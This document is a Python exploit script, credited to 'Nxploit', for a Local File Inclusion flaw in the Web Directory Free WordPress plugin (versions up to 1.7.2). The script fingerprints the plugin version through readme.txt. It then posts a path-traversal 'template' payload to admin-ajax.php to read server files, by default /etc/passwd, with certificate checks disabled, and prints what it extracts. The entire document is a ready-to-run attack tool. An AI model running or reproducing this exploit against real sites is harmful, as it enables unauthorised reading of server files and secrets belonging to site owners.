import argparse import re import requests from packaging import version ## Exploit script written by Nxploit | Khaled_alenazi def get_plugin_version(url: str) -> str: version_url = f"{url}/wp-content/plugins/web-directory-free/readme.txt" headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" } try: response = requests.get(version_url, headers=headers, verify=False, timeout=10) response.raise_for_status() match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text) if match: return match.group(1) else: print("Could not find version information in readme.txt.") return None except requests.RequestException as e: print(f"Error fetching version info: {e}") return None def is_vulnerable(version_str: str) -> bool: vulnerable_version = "1.7.2" return version.parse(version_str) <= version.parse(vulnerable_version) def exploit_vulnerability(url: str, target_file: str) -> None: exploit_path = f"{url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", } payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}" try: response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10) response.raise_for_status() if "root:" in response.text: print("Exploit successful. Extracted content:") print(response.text) else: print("Exploit failed or the server is not vulnerable.") except requests.RequestException as e: print(f"Error during exploitation: {e}") def main() -> None: parser = argparse.ArgumentParser(description="The Web Directory Free WordPress plugin before version 1.7.3 does not validate a parameter before using it in an `include()` function, which could lead to Local File Inclusion (LFI) vulnerabilities.") parser.add_argument("--url", "-u", required=True, help="Target URL (e.g., http://192.168.100.74:888/wordpress)") parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="Target file to read (default: ../../../../../etc/passwd)") args = parser.parse_args() requests.packages.urllib3.disable_warnings() print("Checking if the site is vulnerable...") plugin_version = get_plugin_version(args.url) if plugin_version and is_vulnerable(plugin_version): print("The site is vulnerable. Attempting to exploit the vulnerability...") exploit_vulnerability(args.url, args.file) else: print("The site is not vulnerable. Exploitation will not proceed.") if __name__ == "__main__": main()